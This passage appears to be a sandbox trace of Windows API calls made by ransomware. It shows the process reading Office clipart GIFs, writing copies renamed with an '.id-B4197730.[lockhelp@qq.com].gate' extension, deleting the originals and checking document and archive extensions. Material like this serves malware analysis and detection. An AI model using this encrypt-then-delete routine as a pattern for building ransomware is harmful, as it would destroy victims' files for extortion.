Office\\root\\CLIPART\\PUB60COR\\AG00090_.GIF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00090_.gif.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0319.494] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00090_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00090_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0319.494] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1 [0319.494] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1 [0319.494] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00090_.GIF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00090_.gif.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0319.507] GetLastError () returned 0x0 [0319.507] ReadFile (in: hFile=0x374, lpBuffer=0x3b27020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b27020*, lpNumberOfBytesRead=0x300fecc*=0x205, lpOverlapped=0x0) returned 1 [0319.894] WriteFile (in: hFile=0x38c, lpBuffer=0x3b27020*, nNumberOfBytesToWrite=0x210, lpNumberOfBytesWritten=0x300fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b27020*, lpNumberOfBytesWritten=0x300fc94*=0x210, lpOverlapped=0x0) returned 1 [0319.895] ReadFile (in: hFile=0x374, lpBuffer=0x3b27020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b27020*, lpNumberOfBytesRead=0x300fecc*=0x0, lpOverlapped=0x0) returned 1 [0319.895] WriteFile (in: hFile=0x38c, lpBuffer=0x3b27020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x300fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b27020*, lpNumberOfBytesWritten=0x300fc94*=0xec, lpOverlapped=0x0) returned 1 [0320.122] SetEndOfFile (hFile=0x38c) returned 1 [0320.122] CloseHandle (hObject=0x38c) returned 1 [0320.122] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1 [0320.122] SetEndOfFile (hFile=0x374) returned 1 [0320.123] CloseHandle (hObject=0x374) returned 1 [0320.123] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00090_.GIF.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0320.123] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00090_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00090_.gif")) returned 1 [0320.124] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00090_.GIF") returned 68 [0320.124] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00090_.GIF") returned 68 [0320.124] lstrlenW (lpString=".doc") returned 4 [0320.124] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0320.124] lstrlenW (lpString=".docx") returned 5 [0320.124] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0320.124] lstrlenW (lpString=".pdf") returned 4 [0320.124] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0320.124] lstrlenW (lpString=".xls") returned 4 [0320.124] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0320.124] lstrlenW (lpString=".xlsx") returned 5 [0320.124] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0320.124] lstrlenW (lpString=".ppt") returned 4 [0320.125] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0320.125] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00090_.GIF") returned 68 [0320.125] lstrlenW (lpString=".zip") returned 4 [0320.125] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0320.125] lstrlenW (lpString=".rar") returned 4 [0320.125] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0320.125] lstrlenW (lpString=".bz2") returned 4 [0320.125] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0320.125] lstrlenW (lpString=".7z") returned 3 [0320.125] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0320.125] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00090_.GIF") returned 68 [0320.125] lstrlenW (lpString=".dbf") returned 4 [0320.125] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0320.125] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00090_.GIF") returned 68 [0320.125] lstrlenW (lpString=".1cd") returned 4 [0320.125] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0320.125] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00090_.GIF") returned 68 [0320.125] lstrlenW (lpString=".jpg") returned 4 [0320.125] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0320.125] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00090_.GIF") returned 68 [0320.125] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00090_.GIF") returned 68 [0320.125] lstrlenW (lpString=".doc") returned 4 [0320.125] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0320.125] lstrlenW (lpString=".docx") returned 5 [0320.125] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0320.125] lstrlenW (lpString=".pdf") returned 4 [0320.125] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0320.125] lstrlenW (lpString=".xls") returned 4 [0320.125] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0320.125] lstrlenW (lpString=".xlsx") returned 5 [0320.126] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0320.126] lstrlenW (lpString=".ppt") returned 4 [0320.126] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0320.126] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00090_.GIF") returned 68 [0320.126] lstrlenW (lpString=".zip") returned 4 [0320.126] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0320.126] lstrlenW (lpString=".rar") returned 4 [0320.126] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0320.126] lstrlenW (lpString=".bz2") returned 4 [0320.126] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0320.126] lstrlenW (lpString=".7z") returned 3 [0320.126] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0320.126] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00090_.GIF") returned 68 [0320.126] lstrlenW (lpString=".dbf") returned 4 [0320.126] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0320.126] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00090_.GIF") returned 68 [0320.126] lstrlenW (lpString=".1cd") returned 4 [0320.126] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0320.126] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00090_.GIF") returned 68 [0320.126] lstrlenW (lpString=".jpg") returned 4 [0320.126] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0320.126] lstrcmpiW (lpString1=".GIF", lpString2=".gate") returned 1 [0320.126] lstrlenW (lpString="AG00171_.GIF") returned 12 [0320.126] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00171_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00171_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0320.127] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x300ff14 | out: lpFileSize=0x300ff14*=5016) returned 1 [0320.127] CloseHandle (hObject=0x374) returned 1 [0320.127] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00171_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00171_.gif")) returned 0x220 [0320.127] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00171_.GIF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00171_.gif.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0320.127] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00171_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00171_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0320.127] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1 [0320.127] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1 [0320.128] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00171_.GIF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00171_.gif.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0320.128] GetLastError () returned 0x0 [0320.128] ReadFile (in: hFile=0x374, lpBuffer=0x3b27020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b27020*, lpNumberOfBytesRead=0x300fecc*=0x1398, lpOverlapped=0x0) returned 1 [0320.129] WriteFile (in: hFile=0x38c, lpBuffer=0x3b27020*, nNumberOfBytesToWrite=0x13a0, lpNumberOfBytesWritten=0x300fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b27020*, lpNumberOfBytesWritten=0x300fc94*=0x13a0, lpOverlapped=0x0) returned 1 [0320.130] ReadFile (in: hFile=0x374, lpBuffer=0x3b27020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b27020*, lpNumberOfBytesRead=0x300fecc*=0x0, lpOverlapped=0x0) returned 1 [0320.130] WriteFile (in: hFile=0x38c, lpBuffer=0x3b27020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x300fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b27020*, lpNumberOfBytesWritten=0x300fc94*=0xec, lpOverlapped=0x0) returned 1 [0320.130] SetEndOfFile (hFile=0x38c) returned 1 [0320.130] CloseHandle (hObject=0x38c) returned 1 [0320.130] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1 [0320.130] SetEndOfFile (hFile=0x374) returned 1 [0320.131] CloseHandle (hObject=0x374) returned 1 [0320.131] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00171_.GIF.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0320.131] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00171_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00171_.gif")) returned 1 [0320.132] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00171_.GIF") returned 68 [0320.132] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00171_.GIF") returned 68 [0320.132] lstrlenW (lpString=".doc") returned 4 [0320.132] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0320.132] lstrlenW (lpString=".docx") returned 5 [0320.132] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0320.132] lstrlenW (lpString=".pdf") returned 4 [0320.132] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0320.132] lstrlenW (lpString=".xls") returned 4 [0320.132] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0320.132] lstrlenW (lpString=".xlsx") returned 5 [0320.132] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0320.132] lstrlenW (lpString=".ppt") returned 4 [0320.132] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0320.132] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00171_.GIF") returned 68 [0320.132] lstrlenW (lpString=".zip") returned 4 [0320.132] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0320.132] lstrlenW (lpString=".rar") returned 4 [0320.132] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0320.132] lstrlenW (lpString=".bz2") returned 4 [0320.132] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0320.132] lstrlenW (lpString=".7z") returned 3 [0320.132] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0320.132] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00171_.GIF") returned 68 [0320.132] lstrlenW (lpString=".dbf") returned 4 [0320.132] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0320.132] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00171_.GIF") returned 68 [0320.132] lstrlenW (lpString=".1cd") returned 4 [0320.132] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0320.132] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00171_.GIF") returned 68 [0320.132] lstrlenW (lpString=".jpg") returned 4 [0320.132] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0320.133] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00171_.GIF") returned 68 [0320.133] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00171_.GIF") returned 68 [0320.133] lstrlenW (lpString=".doc") returned 4 [0320.133] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0320.133] lstrlenW (lpString=".docx") returned 5 [0320.133] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0320.133] lstrlenW (lpString=".pdf") returned 4 [0320.133] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0320.133] lstrlenW (lpString=".xls") returned 4 [0320.133] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0320.133] lstrlenW (lpString=".xlsx") returned 5 [0320.133] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0320.133] lstrlenW (lpString=".ppt") returned 4 [0320.133] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0320.133] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00171_.GIF") returned 68 [0320.133] lstrlenW (lpString=".zip") returned 4 [0320.133] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0320.133] lstrlenW (lpString=".rar") returned 4 [0320.133] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0320.133] lstrlenW (lpString=".bz2") returned 4 [0320.133] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0320.133] lstrlenW (lpString=".7z") returned 3 [0320.133] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0320.133] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00171_.GIF") returned 68 [0320.134] lstrlenW (lpString=".dbf") returned 4 [0320.134] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0320.134] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00171_.GIF") returned 68 [0320.134] lstrlenW (lpString=".1cd") returned 4 [0320.134] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0320.134] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00171_.GIF") returned 68 [0320.134] lstrlenW (lpString=".jpg") returned 4 [0320.134] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0320.134] lstrcmpiW (lpString1=".GIF", lpString2=".gate") returned 1 [0320.134] lstrlenW (lpString="AG00172_.GIF") returned 12 [0320.134] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00172_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00172_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0320.134] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x300ff14 | out: lpFileSize=0x300ff14*=4390) returned 1 [0320.134] CloseHandle (hObject=0x374) returned 1 [0320.134] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00172_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00172_.gif")) returned 0x220 [0320.134] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00172_.GIF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00172_.gif.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0320.134] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00172_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00172_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0320.135] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1 [0320.135] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1 [0320.135] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00172_.GIF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00172_.gif.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0320.135] GetLastError () returned 0x0 [0320.135] ReadFile (in: hFile=0x374, lpBuffer=0x3b27020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b27020*, lpNumberOfBytesRead=0x300fecc*=0x1126, lpOverlapped=0x0) returned 1 [0320.136] WriteFile (in: hFile=0x38c, lpBuffer=0x3b27020*, nNumberOfBytesToWrite=0x1130, lpNumberOfBytesWritten=0x300fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b27020*, lpNumberOfBytesWritten=0x300fc94*=0x1130, lpOverlapped=0x0) returned 1 [0320.137] ReadFile (in: hFile=0x374, lpBuffer=0x3b27020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b27020*, lpNumberOfBytesRead=0x300fecc*=0x0, lpOverlapped=0x0) returned 1 [0320.137] WriteFile (in: hFile=0x38c, lpBuffer=0x3b27020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x300fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b27020*, lpNumberOfBytesWritten=0x300fc94*=0xec, lpOverlapped=0x0) returned 1 [0320.137] SetEndOfFile (hFile=0x38c) returned 1 [0320.137] CloseHandle (hObject=0x38c) returned 1 [0320.137] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1 [0320.137] SetEndOfFile (hFile=0x374) returned 1 [0320.138] CloseHandle (hObject=0x374) returned 1 [0320.138] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00172_.GIF.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0320.138] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00172_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00172_.gif")) returned 1 [0320.138] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00172_.GIF") returned 68 [0320.138] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00172_.GIF") returned 68 [0320.138] lstrlenW (lpString=".doc") returned 4 [0320.139] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0320.139] lstrlenW (lpString=".docx") returned 5 [0320.139] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0320.139] lstrlenW (lpString=".pdf") returned 4 [0320.139] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0320.139] lstrlenW (lpString=".xls") returned 4 [0320.139] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0320.139] lstrlenW (lpString=".xlsx") returned 5 [0320.139] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0320.139] lstrlenW (lpString=".ppt") returned 4 [0320.139] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0320.139] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00172_.GIF") returned 68 [0320.139] lstrlenW (lpString=".zip") returned 4 [0320.139] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0320.139] lstrlenW (lpString=".rar") returned 4 [0320.139] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0320.139] lstrlenW (lpString=".bz2") returned 4 [0320.139] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0320.139] lstrlenW (lpString=".7z") returned 3 [0320.139] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0320.139] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00172_.GIF") returned 68 [0320.139] lstrlenW (lpString=".dbf") returned 4 [0320.139] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0320.139] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00172_.GIF") returned 68 [0320.139] lstrlenW (lpString=".1cd") returned 4 [0320.139] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0320.139] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00172_.GIF") returned 68 [0320.139] lstrlenW (lpString=".jpg") returned 4 [0320.139] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0320.139] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00172_.GIF") returned 68 [0320.139] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00172_.GIF") returned 68 [0320.139] lstrlenW (lpString=".doc") returned 4 [0320.140] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0320.140] lstrlenW (lpString=".docx") returned 5 [0320.140] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0320.140] lstrlenW (lpString=".pdf") returned 4 [0320.140] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0320.140] lstrlenW (lpString=".xls") returned 4 [0320.140] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0320.140] lstrlenW (lpString=".xlsx") returned 5 [0320.140] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0320.140] lstrlenW (lpString=".ppt") returned 4 [0320.140] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0320.140] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00172_.GIF") returned 68 [0320.140] lstrlenW (lpString=".zip") returned 4 [0320.140] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0320.140] lstrlenW (lpString=".rar") returned 4 [0320.140] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0320.140] lstrlenW (lpString=".bz2") returned 4 [0320.140] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0320.140] lstrlenW (lpString=".7z") returned 3 [0320.140] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0320.140] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00172_.GIF") returned 68 [0320.140] lstrlenW (lpString=".dbf") returned 4 [0320.140] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0320.140] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00172_.GIF") returned 68 [0320.140] lstrlenW (lpString=".1cd") returned 4 [0320.140] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0320.140] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00172_.GIF") returned 68 [0320.140] lstrlenW (lpString=".jpg") returned 4 [0320.140] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0320.141] lstrcmpiW (lpString1=".GIF", lpString2=".gate") returned 1 [0320.141] lstrlenW (lpString="AG00174_.GIF") returned 12 [0320.141] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00174_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00174_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0320.141] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x300ff14 | out: lpFileSize=0x300ff14*=3966) returned 1 [0320.141] CloseHandle (hObject=0x374) returned 1 [0320.141] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00174_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00174_.gif")) returned 0x220 [0320.141] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00174_.GIF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00174_.gif.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0320.141] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00174_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00174_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 